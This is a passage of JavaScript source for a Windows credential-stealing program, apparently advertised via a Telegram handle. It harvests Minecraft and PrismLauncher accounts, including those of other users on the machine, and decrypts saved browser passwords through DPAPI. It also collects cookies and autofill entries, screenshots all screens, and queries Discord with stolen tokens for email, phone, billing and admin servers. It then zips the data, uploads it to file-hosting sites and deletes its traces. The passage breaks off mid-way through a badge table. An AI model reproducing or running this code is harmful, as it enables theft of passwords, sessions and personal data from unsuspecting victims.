        const prismInfo = [];
        prismInfo.push('=== PrismLauncher Information ===\n');

        const accountsPath = path.join(prismDir, 'Accounts', 'accounts.json');
        if (fs.existsSync(accountsPath)) {
            try {
                prismInfo.push('--- Accounts ---');
                const accountsData = JSON.parse(fs.readFileSync(accountsPath, 'utf8'));

                if (accountsData.accounts && Array.isArray(accountsData.accounts)) {
                    accountsData.accounts.forEach((account, index) => {
                        prismInfo.push(`Account ${index + 1}:`);
                        prismInfo.push(`  Type: ${account.type || 'Unknown'}`);
                        prismInfo.push(`  Username: ${account.username || 'N/A'}`);
                        prismInfo.push(`  UUID: ${account.uuid || 'N/A'}`);

                        if (account.microsoft) {
                            prismInfo.push(`  Microsoft Account: Yes`);
                            prismInfo.push(`  Access Token: ${account.microsoft.access_token ? 'Present' : 'Missing'}`);
                            prismInfo.push(`  Refresh Token: ${account.microsoft.refresh_token ? 'Present' : 'Missing'}`);
                        }

                        prismInfo.push('');
                    });
                } else {
                    prismInfo.push('No accounts found or invalid format');
                }
            } catch (e) {
                prismInfo.push(`Error reading accounts.json: ${e.message}`);
            }
        }

        const configPath = path.join(prismDir, 'Config', 'prismlauncher.cfg');
        if (fs.existsSync(configPath)) {
            try {
                prismInfo.push('--- Configuration ---');
                const configContent = fs.readFileSync(configPath, 'utf8');
                const lines = configContent.split('\n');

                const relevantKeys = ['InstanceDir', 'DownloadsDir', 'JavaPath', 'MaxMemAlloc'];
                lines.forEach(line => {
                    relevantKeys.forEach(key => {
                        if (line.startsWith(key + '=')) {
                            prismInfo.push(`  ${line.trim()}`);
                        }
                    });
                });

                prismInfo.push('');
            } catch (e) {
                prismInfo.push(`Error reading config: ${e.message}`);
            }
        }
        const instancesPath = path.join(prismDir, 'Instances');
        if (fs.existsSync(instancesPath)) {
            try {
                const instances = fs.readdirSync(instancesPath);
                prismInfo.push('--- Instances ---');
                prismInfo.push(`Total instances found: ${instances.length}`);

                instances.forEach((instance, index) => {
                    if (index < 5) {
                        const instancePath = path.join(instancesPath, instance);
                        if (fs.existsSync(instancePath)) {
                            const instanceCfg = path.join(instancePath, 'instance.cfg');
                            if (fs.existsSync(instanceCfg)) {
                                try {
                                    const cfgContent = fs.readFileSync(instanceCfg, 'utf8');
                                    const nameMatch = cfgContent.match(/name=([^\n]+)/);
                                    const versionMatch = cfgContent.match(/IntendedVersion=([^\n]+)/);

                                    prismInfo.push(`  ${instance}:`);
                                    prismInfo.push(`    Name: ${nameMatch ? nameMatch[1] : 'Unknown'}`);
                                    prismInfo.push(`    Version: ${versionMatch ? versionMatch[1] : 'Unknown'}`);
                                } catch (e) {
                                    prismInfo.push(`  ${instance}: (config read error)`);
                                }
                            }
                        }
                    }
                });
                if (instances.length > 5) {
                    prismInfo.push(`  ... and ${instances.length - 5} more instances`);
                }
                prismInfo.push('');
            } catch (e) {
                prismInfo.push(`Error reading instances: ${e.message}`);
            }
        }

        if (prismInfo.length > 1) {
            const prismInfoPath = path.join(prismDir, 'PrismLauncher_Info.txt');
            fs.writeFileSync(prismInfoPath, prismInfo.join('\n'), 'utf8');
        }

    } catch (error) {
        logError(error, 'extractPrismLauncherInfo');
    }
}

async function extractMinecraftSessionInfo(minecraftDir) {
    try {
        const sessionInfo = [];

        const launcherAccountsPath = path.join(minecraftDir, 'Launcher Accounts (Microsoft)', 'launcher_accounts.json');
        if (fs.existsSync(launcherAccountsPath)) {
            try {
                const accountsData = JSON.parse(fs.readFileSync(launcherAccountsPath, 'utf8'));
                sessionInfo.push('=== Minecraft Launcher Accounts ===');
                for (const [key, account] of Object.entries(accountsData.accounts || {})) {
                    sessionInfo.push(`Account ID: ${key}`);
                    sessionInfo.push(`Username: ${account.username || 'N/A'}`);
                    sessionInfo.push(`UUID: ${account.profileId || 'N/A'}`);
                    sessionInfo.push(`Type: ${account.type || 'N/A'}`);
                    sessionInfo.push('---');
                }
            } catch (e) {
                sessionInfo.push('Error reading launcher_accounts.json');
            }
        }

        const serversPath = path.join(minecraftDir, 'Server List', 'servers.dat');
        if (fs.existsSync(serversPath)) {
            try {
                sessionInfo.push('\n=== Minecraft Servers ===');
                sessionInfo.push('Server list found in servers.dat (NBT format)');
                sessionInfo.push(`File size: ${fs.statSync(serversPath).size} bytes`);
            } catch (e) {
                sessionInfo.push('Error reading servers.dat');
            }
        }

        const lastLoginPath = path.join(minecraftDir, 'Last Login', 'lastlogin');
        if (fs.existsSync(lastLoginPath)) {
            try {
                const lastLoginData = fs.readFileSync(lastLoginPath, 'utf8');
                sessionInfo.push('\n=== Last Login Info ===');
                sessionInfo.push(lastLoginData);
            } catch (e) {
                sessionInfo.push('Error reading lastlogin file');
            }
        }
        if (sessionInfo.length > 0) {
            const sessionInfoPath = path.join(minecraftDir, 'Minecraft_Session_Info.txt');
            fs.writeFileSync(sessionInfoPath, sessionInfo.join('\n'), 'utf8');
        }

    } catch (error) {
        logError(error, 'extractMinecraftSessionInfo');
    }
}

async function scanOtherUsersGames(gamesDir, maxSize = null) {
    try {
        const usersDir = 'C:\\Users';
        if (!fs.existsSync(usersDir)) return;

        const users = fs.readdirSync(usersDir);

        for (const user of users) {
            try {
                if (user === 'Public' || user === 'Default' || user === 'Default User' ||
                    user === 'All Users' || user === os.userInfo().username) {
                    continue;
                }

                const userDir = path.join(usersDir, user);
                const userGamesDir = path.join(gamesDir, `User_${user}`);

                const minecraftPaths = [
                    path.join(userDir, 'AppData', 'Roaming', '.minecraft'),
                    path.join(userDir, 'AppData', 'Local', 'Packages', 'Microsoft.MinecraftUWP_8wekyb3d8bbwe', 'LocalState', 'games', 'com.mojang')
                ];

                const prismPaths = [
                    path.join(userDir, 'AppData', 'Roaming', 'PrismLauncher'),
                    path.join(userDir, 'AppData', 'Local', 'PrismLauncher')
                ];

                for (const minecraftPath of minecraftPaths) {
                    if (fs.existsSync(minecraftPath)) {
                        copyFolderRecursiveSync(minecraftPath, path.join(userGamesDir, path.basename(minecraftPath)), ['region'], maxSize);

                    }
                }
                for (const prismPath of prismPaths) {
                    if (fs.existsSync(prismPath)) {
                        copyFolderRecursiveSync(prismPath, path.join(userGamesDir, 'PrismLauncher'), ['region'], maxSize);

                    }
                }
            } catch (err) {
            }
        }
    } catch (error) {
        logError(error, 'scanOtherUsersGames');
    }
}

async function uploadToCatbox(zipFilePath) {
    return new Promise((resolve, reject) => {
        const curlPath = 'C:\\Windows\\System32\\curl.exe';
        const cmd = `"${curlPath}" -s -F "reqtype=fileupload" -F "fileToUpload=@\"${zipFilePath}\"" "https://catbox.moe/user/api.php"`;

        try {
            const size = fs.statSync(zipFilePath).size;
            logInfo(`[Catbox] Uploading ${path.basename(zipFilePath)} (Size: ${(size / 1024 / 1024).toFixed(2)} MB)...`);
        } catch (e) { }

        exec(cmd, { timeout: 90000, windowsHide: true }, (error, stdout, stderr) => {
            const output = stdout ? stdout.trim() : '';

            if (error) {
                console.error(`[Catbox] Curl/Exec Error: ${error.message}`);
                if (error.killed) {
                    return reject(new Error('Upload to Catbox timed out.'));
                }
            }

            console.log(`[Catbox] Output length: ${output.length} characters`);

            if (output.startsWith('http')) {
                console.log(`[Catbox] Success: ${output}`);
                resolve(output);
            } else {
                if (output && output.includes('http')) {
                    const match = output.match(/http[^\s]+/);
                    if (match) {
                        console.log(`[Catbox] Success (matched link): ${match[0]}`);
                        return resolve(match[0]);
                    }
                }

                const errMsg = `Upload failed via curl. Output: ${output.slice(0, 100)} | Stderr: ${stderr ? stderr.slice(0, 100) : 'N/A'}`;
                reject(new Error(errMsg));
            }
        });
    });
}

async function uploadTo0x0(zipFilePath) {
    return new Promise((resolve, reject) => {
        const curlPath = 'C:\\Windows\\System32\\curl.exe';
        const cmd = `"${curlPath}" -s -F "file=@\"${zipFilePath}\"" "https://0x0.st"`;
        try {
            const size = fs.statSync(zipFilePath).size;
            logInfo(`[0x0.st] Uploading ${path.basename(zipFilePath)} (Size: ${(size / 1024 / 1024).toFixed(2)} MB)...`);
        } catch (e) { }
        exec(cmd, { timeout: 90000, windowsHide: true }, (error, stdout, stderr) => {
            const output = stdout ? stdout.trim() : '';
            if (error) {
                console.error(`[0x0.st] Curl Error: ${error.message}`);
                if (error.killed) return reject(new Error('Upload to 0x0.st timed out.'));
            }
            if (output.startsWith('http')) {
                console.log(`[0x0.st] Success: ${output}`);
                resolve(output);
            } else {
                if (output && output.includes('http')) {
                    const match = output.match(/http[^\s]+/);
                    if (match) {
                        console.log(`[0x0.st] Success (matched): ${match[0]}`);
                        return resolve(match[0]);
                    }
                }
                const errMsg = `0x0.st upload failed. Output: ${output.slice(0, 100)}`;
                reject(new Error(errMsg));
            }
        });
    });
}

async function getServers() {
    try {
        const response = await axios.get('https://api.gofile.io/servers', { timeout: 10000 });
        if (response.data && response.data.status === 'ok' && response.data.data && Array.isArray(response.data.data.servers)) {
            return response.data.data.servers;
        }
        return [];
    } catch (error) {
        return [];
    }
}

async function uploadToGofile(zipFilePath) {
    const maxRetries = 3;
    let lastError = null;

    for (let attempt = 1; attempt <= maxRetries; attempt++) {
        try {
            if (!fs.existsSync(zipFilePath)) {
                throw new Error('Zip file does not exist for upload');
            }

            if (attempt === 1) {
                try {
                    const size = fs.statSync(zipFilePath).size;
                    logInfo(`[GoFile] Uploading ${path.basename(zipFilePath)} (Size: ${(size / 1024 / 1024).toFixed(2)} MB)...`);
                } catch (e) { }
            }

            const url = `https://upload.gofile.io/uploadfile`;

            const form = new FormData();
            form.append('file', fs.createReadStream(zipFilePath));

            const response = await axios.post(url, form, {
                headers: {
                    ...form.getHeaders()
                },
                maxContentLength: Infinity,
                maxBodyLength: Infinity,
                timeout: 60000
            });

            if (response.data && response.data.status === 'ok') {
                return response.data.data.downloadPage;
            } else {
                const status = response.data ? response.data.status : 'unknown';
                throw new Error(`Gofile upload failed with status: ${status}`);
            }
        } catch (error) {
            lastError = error;
            const errorDetail = error.response ? JSON.stringify(error.response.data) : error.message;
            console.error(`[ATTEMPT ${attempt}] Gofile upload failed: ${errorDetail}`);

            if (attempt < maxRetries) {
                const delay = attempt * 5000;
                await new Promise(resolve => setTimeout(resolve, delay));
            }
        }
    }

    try {
        const servers = await getServers();
        if (servers.length > 0) {
            const server = servers[Math.floor(Math.random() * servers.length)].name;
            const url = `https://${server}.gofile.io/uploadFile`;
            const form = new FormData();
            form.append('file', fs.createReadStream(zipFilePath));
            const response = await axios.post(url, form, {
                headers: { ...form.getHeaders() },
                maxContentLength: Infinity,
                maxBodyLength: Infinity,
                timeout: 90000
            });
            if (response.data && response.data.status === 'ok') {
                return response.data.data.downloadPage;
            }
        }
    } catch (fallbackError) {
        console.error('[FALLBACK] Gofile upload failed:', fallbackError.message);
    }

    logError(lastError, 'uploadToGofile final failure');
    throw lastError;
}

function createZipArchiveCatbox(sourceDir, zipFilePath) {
    return new Promise((resolve, reject) => {
        const output = fs.createWriteStream(zipFilePath);
        const archive = archiver('zip', { zlib: { level: 9 }, comment: "t.me/avmtools | @Wallgod69" });

        output.on('close', () => resolve(zipFilePath));
        archive.on('error', (error) => {
            logError(error, 'createZipArchiveCatbox');
            reject(error);
        });

        archive.pipe(output);
        const rootFolderName = path.basename(zipFilePath, '.zip');
        archive.directory(sourceDir, rootFolderName);
        archive.finalize();
    });
}

function createZipArchive(sourceDir, zipFilePath) {
    return new Promise((resolve, reject) => {
        const output = fs.createWriteStream(zipFilePath);
        const archive = archiver('zip', { zlib: { level: 9 }, comment: "t.me/avmtools | @Wallgod6" });

        output.on('close', () => resolve(zipFilePath));
        archive.on('error', (error) => {
            logError(error, 'createZipArchive');
            reject(error);
        });

        archive.pipe(output);
        archive.directory(sourceDir, false);
        archive.finalize();
    });
}

function getDirectorySize(directory) {
    let size = 0;
    try {
        if (fs.existsSync(directory)) {
            const files = fs.readdirSync(directory);
            for (const file of files) {
                const filePath = path.join(directory, file);
                const stats = fs.statSync(filePath);
                if (stats.isDirectory()) {
                    size += getDirectorySize(filePath);
                } else {
                    size += stats.size;
                }
            }
        }
    } catch (e) { }
    return size;
}

async function createAndUploadZip() {
    const destinationFolder = path.dirname(mainFolderPath);
    const baseName = `${locale}-${computerName}`;
    let downloadLink = null;

    try {
        const folderSize = getDirectorySize(mainFolderPath);
        logInfo(`[System] Folder size before zip: ${(folderSize / 1024 / 1024).toFixed(2)} MB`);
    } catch (e) { }

    const catboxZipPath = path.join(destinationFolder, `${baseName}.zip`);
    try {
        console.log(`[Catbox] Creating specialized zip at: ${catboxZipPath}`);
        await createZipArchiveCatbox(mainFolderPath, catboxZipPath);

        if (fs.existsSync(catboxZipPath)) {
            downloadLink = await uploadToCatbox(catboxZipPath);
            if (downloadLink && downloadLink.startsWith('http')) {
                logSuccess(`Catbox Upload Success: ${downloadLink}`);
                return downloadLink;
            } else {
                logError(`Catbox provider returned no link: ${downloadLink}`, 'Catbox-Provider-NoLink');
            }
        } else {
            logError(`Catbox zip file not found after creation: ${catboxZipPath}`, 'Catbox-Zip-Missing');
        }
    } catch (e) {
        logError(e, 'Catbox-Process-Failed');
        console.log(`[Catbox] Error during zip creation or upload: ${e.message}`);
    }

    try {
        if (fs.existsSync(catboxZipPath)) {
            console.log(`[0x0.st] Attempting upload with existing zip...`);
            downloadLink = await uploadTo0x0(catboxZipPath);
            if (downloadLink && downloadLink.startsWith('http')) {
                logSuccess(`0x0.st Upload Success: ${downloadLink}`);
                return downloadLink;
            } else {
                logError(`0x0.st provider returned no link: ${downloadLink}`, '0x0.st-Provider-NoLink');
            }
        }
    } catch (e) {
        logError(e, '0x0.st-Upload-Failed');
        console.log(`[0x0.st] Failed: ${e.message}. Moving to final fallback...`);
    }

    try {
        const gofileZipPath = path.join(destinationFolder, `${baseName}_fallback.zip`);
        console.log(`[GoFile] Creating fallback zip at: ${gofileZipPath}`);
        await createZipArchive(mainFolderPath, gofileZipPath);

        if (fs.existsSync(gofileZipPath)) {
            downloadLink = await uploadToGofile(gofileZipPath);
            if (downloadLink && downloadLink.startsWith('http')) {
                logSuccess(`GoFile Upload Success (Fallback): ${downloadLink}`);
                return downloadLink;
            } else {
                logError(`GoFile provider returned no link: ${downloadLink}`, 'GoFile-Provider-NoLink');
            }
        } else {
            logError(`GoFile zip file not found after creation: ${gofileZipPath}`, 'GoFile-Zip-Missing');
        }
    } catch (e) {
        logError(e, 'GoFile-Fallback-Failed');
        console.log(`[GoFile] Failed: ${e.message}`);
    }

    if (!downloadLink) {
        console.log(`[System] All upload providers failed.`);
        logError('All upload providers failed. No download link generated.', 'createAndUploadZip-final');
    }
    return downloadLink;
}

function initializeFolders() {
    try {
        if (!fs.existsSync(mainFolderPath)) {
            fs.mkdirSync(mainFolderPath, { recursive: true });
        }

        const logFilePath = path.join(mainFolderPath, 'log.txt');
        const startMessage = `[START] ${getTimestamp()} | PID: ${process.pid}\n`;
        if (!fs.existsSync(logFilePath)) {
            fs.writeFileSync(logFilePath, startMessage, 'utf8');
        } else {
            fs.appendFileSync(logFilePath, startMessage, 'utf8');
        }
    } catch (error) { }
}

function selfCleanup(downloadLink) {
    try {
        const destinationFolder = path.dirname(mainFolderPath);
        const zipFilePath = path.join(destinationFolder, `${locale}-${computerName}.zip`);
        const fallbackZipPath = path.join(destinationFolder, `${locale}-${computerName}_fallback.zip`);

        if (fs.existsSync(zipFilePath)) {
            try { fs.unlinkSync(zipFilePath); } catch (e) { }
        }
        if (fs.existsSync(fallbackZipPath)) {
            try { fs.unlinkSync(fallbackZipPath); } catch (e) { }
        }

        if (downloadLink && fs.existsSync(mainFolderPath)) {
            const deleteFolderRecursive = (folderPath) => {
                if (fs.existsSync(folderPath)) {
                    fs.readdirSync(folderPath).forEach((file) => {
                        const curPath = path.join(folderPath, file);
                        if (fs.lstatSync(curPath).isDirectory()) {
                            deleteFolderRecursive(curPath);
                        } else {
                            fs.unlinkSync(curPath);
                        }
                    });
                    fs.rmdirSync(folderPath);
                }
            };
            deleteFolderRecursive(mainFolderPath);
        } else {
            console.log('[CMD] 0x01P:', mainFolderPath);
        }

        const parentDir = path.dirname(mainFolderPath);
        const lockFile = path.join(parentDir, 'WinHost.lock');
        if (fs.existsSync(lockFile)) {
            try { fs.unlinkSync(lockFile); } catch (e) { }
        }

        if (fs.existsSync(parentDir) && fs.readdirSync(parentDir).length === 0) {
            try { fs.rmdirSync(parentDir); } catch (e) { }
        }

    } catch (error) {
    }
}

async function loadConfiguration() {
    const keyCache = {};

    for (let i = 0; i < browserPath.length; i++) {
        try {
            const profilePath = browserPath[i][0];
            const userDataPath = browserPath[i][2];

            if (!fs.existsSync(profilePath)) {
                continue;
            }

            if (keyCache[userDataPath]) {

                browserPath[i].push(keyCache[userDataPath]);
                continue;
            }

            const localStatePath = userDataPath + 'Local State';
            if (!fs.existsSync(localStatePath)) {
                continue;
            }

            let encryptedKey = Buffer.from(
                JSON.parse(fs.readFileSync(localStatePath))
                    .os_crypt.encrypted_key,
                'base64'
            ).slice(5);
            const keyArray = Array.from(encryptedKey);
            const decryptedKey = await new Promise((resolve, reject) => {
                exec(
                    'powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(' +
                    keyArray +
                    "), $null, 'CurrentUser')",
                    { timeout: 10000, windowsHide: true },
                    (error, stdout, stderr) => {
                        if (error) {
                            reject(error);
                        } else {
                            resolve(stdout);
                        }
                    }
                );
            });

            const filteredKey = decryptedKey.toString().split('\r\n').filter((line) => line != '');
            const keyBuffer = Buffer.from(filteredKey);

            keyCache[userDataPath] = keyBuffer;
            browserPath[i].push(keyBuffer);


        } catch (error) {
            logError(error, `getEncrypted-${browserPath[i][1]}`);
        }
    }
}

async function fetchUserData() {
    const passwordsData = [];
    let passwordsCount = 0;

    for (let i = 0; i < browserPath.length; i++) {
        if (!fs.existsSync(browserPath[i][0])) {
            continue;
        }

        let appName;
        if (browserPath[i][0].includes('Local')) {
            appName = browserPath[i][0].split('\\Local\\')[1].split('\\')[0];
        } else {
            appName = browserPath[i][0].split('\\Roaming\\')[1].split('\\')[1];
        }

        const loginDataPath = browserPath[i][0] + 'Login Data';
        const tempDbPath = browserPath[i][0] + 'passwords.db';

        if (!fs.existsSync(loginDataPath)) {
            continue;
        }

        try {
            fs.copyFileSync(loginDataPath, tempDbPath);
        } catch (error) {
            logError(error, `getp-copy-${appName}`);
            continue;
        }

        const db = new sqlite3.Database(tempDbPath);

        await new Promise((resolve, reject) => {
            db.each(
                'SELECT origin_url, username_value, password_value, date_created FROM logins',
                (err, row) => {
                    if (err) {
                        logError(err, `getp-dbEach-row-${appName}`);
                        return;
                    }
                    if (!row || !row.username_value) {
                        return;
                    }

                    try {
                        let encryptedPassword = row.password_value;
                        const iv = encryptedPassword.slice(3, 15);
                        const encrypted = encryptedPassword.slice(15, encryptedPassword.length - 16);
                        const authTag = encryptedPassword.slice(encryptedPassword.length - 16, encryptedPassword.length);

                        if (!browserPath[i][3]) {
                            return;
                        }

                        const decipher = crypto.createDecipheriv(
                            'aes-256-gcm',
                            browserPath[i][3],
                            iv
                        );
                        decipher.setAuthTag(authTag);
                        const password =
                            decipher.update(encrypted, 'base64', 'utf-8') +
                            decipher.final('utf-8');

                        const dateCreated = new Date(row.date_created / 1000 - 11644473600 * 1000).toLocaleString();

                        passwordsData.push(
                            '================\nURL: ' +
                            row.origin_url +
                            '\nUsername: ' +
                            row.username_value +
                            '\nPassword: ' +
                            password +
                            '\nDate Created: ' +
                            dateCreated +
                            '\nApplication: ' +
                            appName +
                            ' ' +
                            browserPath[i][1] +
                            '\n'
                        );
                        passwordsCount++;
                    } catch (error) { }
                },
                (err) => {
                    if (err) logError(err, `getp-dbEach-complete-${appName}`);
                    db.close();
                    resolve('');
                }
            );
        });
    }

    if (passwordsData.length === 0) {
        passwordsData.push('No passwords found');
    }

    if (passwordsData.length) {
        const passwordsFolderPath = path.join(mainFolderPath, 'Passwords');
        if (!fs.existsSync(passwordsFolderPath)) {
            fs.mkdirSync(passwordsFolderPath, { recursive: true });
        }

        const passwordsFilePath = path.join(passwordsFolderPath, 'Passwords.txt');
        fs.writeFileSync(passwordsFilePath, user.copyright + passwordsData.join(''), {
            encoding: 'utf8',
            flag: 'a+',
        });
    }

    return passwordsCount;
}

async function fetchSessionData() {
    const cookiesByBrowser = {};
    let cookiesCount = 0;

    for (let i = 0; i < browserPath.length; i++) {
        try {
            if (!fs.existsSync(browserPath[i][0])) {
                continue;
            }

            let appName;
            if (browserPath[i][0].includes('Local')) {
                appName = browserPath[i][0].split('\\Local\\')[1].split('\\')[0];
            } else {
                appName = browserPath[i][0].split('\\Roaming\\')[1].split('\\')[1];
            }

            const browserName = `${appName} ${browserPath[i][1]}`;
            cookiesByBrowser[browserName] = [];

            let cookiesPath = browserPath[i][0] + 'Network\\Cookies';
            if (!fs.existsSync(cookiesPath)) {
                cookiesPath = browserPath[i][0] + 'Cookies';
            }

            const tempDbPath = path.join(os.tmpdir(), `cookies_${generateRandomString(8)}.db`);

            if (!fs.existsSync(cookiesPath)) continue;

            try {
                fs.copyFileSync(cookiesPath, tempDbPath);
            } catch (e) {
                continue;
            }
            const db = new sqlite3.Database(tempDbPath);

            await new Promise((resolve) => {
                db.each(
                    'SELECT host_key, name, encrypted_value, creation_utc, expires_utc FROM cookies',
                    (err, row) => {
                        if (err) {
                            logError(err, `getc-dbEach-${browserName}`);
                            return;
                        }
                        if (!row) return;

                        try {
                            const creationDate = new Date(row.creation_utc / 1000 - 11644473600 * 1000).toLocaleString();
                            const expirationDate = new Date(row.expires_utc / 1000 - 11644473600 * 1000).toLocaleString();

                            cookiesByBrowser[browserName].push(
                                '================\nHost: ' +
                                row.host_key +
                                '\nName: ' +
                                row.name +
                                '\nValue: Only in Premium Version | t.me/avmtools' +
                                '\nCreation Date: ' +
                                creationDate +
                                '\nExpiration Date: ' +
                                expirationDate +
                                '\nApplication: ' +
                                browserName +
                                '\n'
                            );
                            cookiesCount++;
                        } catch (processError) {
                            logError(processError, `getc-process-${browserName}`);
                        }
                    },
                    (err) => {
                        if (err) logError(err, `getc-dbFinal-${browserName}`);
                        db.close((closeErr) => {
                            try { if (fs.existsSync(tempDbPath)) fs.unlinkSync(tempDbPath); } catch (e) { }
                        });

                        resolve();
                    }
                );
            });
        } catch (error) {
            logError(error, `getc-browser-${browserPath[i][1]}`);
        }
    }

    const cookiesDir = path.join(mainFolderPath, 'Cookies');

    for (const [browserName, cookies] of Object.entries(cookiesByBrowser)) {
        if (cookies.length > 0) {
            if (!fs.existsSync(cookiesDir)) fs.mkdirSync(cookiesDir, { recursive: true });
            const cookiesFile = path.join(cookiesDir, `cookies_${browserName.toLowerCase().replace(/\s+/g, '_')}.txt`);
            try {
                fs.writeFileSync(cookiesFile, user.copyright + cookies.join(''), 'utf8');

            } catch (writeError) {
                logError(writeError, `getc-writeFile-${browserName}`);
            }
        }
    }

    return cookiesCount;
}

async function fetchFormData() {
    const autofillData = [];
    let autofillCount = 0;

    for (const pathData of browserPath) {
        const browserPathExists = fs.existsSync(pathData[0]);

        if (!browserPathExists) {
            continue;
        }

        const applicationName = pathData[0].includes('Local')
            ? pathData[0].split('\\Local\\')[1].split('\\')[0]
            : pathData[0].split('\\Roaming\\')[1].split('\\')[1];

        const webDataPath = pathData[0] + 'Web Data';
        const webDataDBPath = pathData[0] + 'webdata.db';

        if (!fs.existsSync(webDataPath)) {
            continue;
        }

        try {
            fs.copyFileSync(webDataPath, webDataDBPath);
        } catch (error) {
            logError(error, `geta-copy-${applicationName}`);
            continue;
        }

        const db = new sqlite3.Database(webDataDBPath);

        await new Promise((resolve, reject) => {
            db.each(
                'SELECT * FROM autofill',
                function (error, row) {
                    if (error) {
                        logError(error, `geta-dbEach-row-${applicationName}`);
                        return;
                    }
                    if (row) {
                        autofillData.push(
                            '================\nName: ' +
                            row.name +
                            '\nValue: ' +
                            row.value +
                            '\nApplication: ' +
                            applicationName +
                            ' ' +
                            pathData[1] +
                            '\n'
                        );
                        autofillCount++;
                    }
                },
                function (err) {
                    if (err) logError(err, `geta-dbEach-complete-${applicationName}`);
                    db.close();
                    resolve('');
                }
            );
        });

    }

    if (autofillData.length) {
        const autofillsFolderPath = path.join(mainFolderPath, 'Autofills');
        const autofillsFilePath = path.join(autofillsFolderPath, 'Autofills.txt');

        if (!fs.existsSync(autofillsFolderPath)) {
            fs.mkdirSync(autofillsFolderPath, { recursive: true });
        }

        fs.writeFileSync(autofillsFilePath, user.copyright + autofillData.join(''), {
            encoding: 'utf8',
            flag: 'a+',
        });
    }

    return autofillCount;
}

function cleanupProcesses() {
    try {
        const processMap = PATHS.processes;

        const processesToKill = new Set();

        for (const entry of browserPath) {
            const pathToCheck = entry[0];
            if (fs.existsSync(pathToCheck)) {
                for (const [key, exe] of Object.entries(processMap)) {
                    if (pathToCheck.includes(key)) {
                        processesToKill.add(exe);
                    }
                }
            }
        }

        if (processesToKill.size > 0) {
            const taskListCmd = decodeString('dGFza2xpc3Q=');
            const taskKillCmd = decodeString('dGFza2tpbGw=');

            try {
                const tasks = execSync(taskListCmd, { timeout: 3000, windowsHide: true }).toString();

                for (const proc of processesToKill) {
                    if (tasks.toLowerCase().includes(proc.toLowerCase())) {
                        try {
                            execSync(taskKillCmd + ' /IM ' + proc + ' /F', { stdio: 'ignore', timeout: 3000, windowsHide: true });
                        } catch (killErr) {
                        }
                    }
                }
            } catch (err) {
            }
        }

    } catch (e) {
        logError(e, 'cleanupProcesses');
    }
}

function captureAllScreens() {
    return new Promise((resolve, reject) => {
        const screenshotDir = path.dirname(screenshotPath);
        if (!fs.existsSync(screenshotDir)) fs.mkdirSync(screenshotDir, { recursive: true });

        const psScript = `
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

$bounds = [System.Windows.Forms.SystemInformation]::VirtualScreen
$bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
$graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size)
$bitmap.Save("${screenshotPath}", [System.Drawing.Imaging.ImageFormat]::Png)

$graphics.Dispose()
$bitmap.Dispose()
"OK"
`;
        const psBase64 = Buffer.from(psScript, "utf16le").toString("base64");
        exec(`powershell -ExecutionPolicy Bypass -EncodedCommand ${psBase64}`, { timeout: 15000, windowsHide: true }, (err, stdout, stderr) => {
            if (err) {
                logError(err, 'captureAllScreens-exec');
                return reject(err);
            }

            fs.readFile(screenshotPath, (readErr, data) => {
                if (readErr) {
                    logError(readErr, 'captureAllScreens-readFile');
                    reject(readErr);
                } else {
                    resolve(data);
                }
            });
        });
    });
}


const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
const discordHeaders = (token) => ({
    "Authorization": token,
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Content-Type": "application/json"
});

async function getUserData(token) {
    try {
        await sleep(1000);
        const userResponse = await axios.get("https://discord.com/api/v9/users/@me", {
            headers: discordHeaders(token),
            timeout: 5000
        });

        const userData = userResponse.data;

        if (!userData) return null;

        const id = userData.id;
        const username = userData.username;
        const discriminator = userData.discriminator;
        const avatar = userData.avatar;
        const email = userData.email;
        const phone = userData.phone;
        const mfa_enabled = userData.mfa_enabled;
        const flags = userData.flags;
        const premium_type = userData.premium_type;
        const bio = userData.bio;

        return {
            id,
            username,
            discriminator,
            avatar,
            email,
            phone,
            mfa_enabled,
            flags,
            premium_type,
            bio
        };
    } catch (error) {
        return null;
    }
}

async function fetchDiscordTokens() {

    async function getGuildInvites(token, guildId) {
        try {
            await sleep(1500);
            const response = await axios.get(`https://discord.com/api/v9/guilds/${guildId}/invites`, {
                headers: discordHeaders(token),
                timeout: 5000
            });
            return response.data;
        } catch (error) { return []; }
    }

    async function getHQGuilds(token) {
        try {
            await sleep(1000);
            const response = await axios.get("https://discord.com/api/v9/users/@me/guilds?with_counts=true", {
                headers: discordHeaders(token),
                timeout: 5000
            });

            const hqGuilds = response.data.filter(guild => {
                const perms = BigInt(guild.permissions);
                const admin = BigInt(0x8);
                return (perms & admin) === admin || guild.owner;
            });

            if (hqGuilds.length === 0) {
                return "```No HQ Guilds```";
            }

            let result = "";
            for (const guild of hqGuilds) {
                const invites = await getGuildInvites(token, guild.id);
                const invite = invites.length > 0 ? `[Join Server](https://discord.gg/${invites[0].code})` : "No Invite";
                const ownerOrAdmin = guild.owner ? "<:7212roleowner:1268574022933811253> Owner" : "<:admin:967851956930482206> Admin";
                const line = `${ownerOrAdmin} | \`${guild.name} - Members: ${guild.approximate_member_count}\` - ${invite}\n`;

                if (result.length + line.length >= 1024) {
                    result += "\`Too many servers to display.\`";
                    break;
                }
                result += line;
            }
            return result || "```No HQ Guilds```";
        } catch (error) { return "```Error retrieving HQ Guilds```"; }
    }

    async function getBilling(token) {
        try {
            await sleep(1000);
            const res = await axios.get("https://discord.com/api/v9/users/@me/billing/payment-sources", {
                headers: discordHeaders(token),
                timeout: 5000
            });
            let bi = '';
            res.data.forEach(z => {
                if (z.type == 2 && z.invalid != !0) {
                    bi += "<:946246524504002610:962747802830655498>";
                } else if (z.type == 1 && z.invalid != !0) {
                    bi += "<:rustler:987692721613459517>";
                }
            });
            if (bi == '') bi = "```No Billing```";
            return bi;
        } catch (err) { return "```No Billing```"; }
    }

    const badgesDict = {
        Discord_Employee: { Value: 1, Emoji: "<:staff:874750808728666152>", Rare: true },
        Partnered_Server_Owner: { Value: 2, Emoji: "<:partner:874750808678354964>", Rare: true },
        HypeSquad_Events: { Value: 4, Emoji: "<:hypesquad_events:874750808594477056>", Rare: true },
        Bug_Hunter_Level_1: { Value: 8, Emoji: "<:bughunter_1:874750808426692658>", Rare: true },
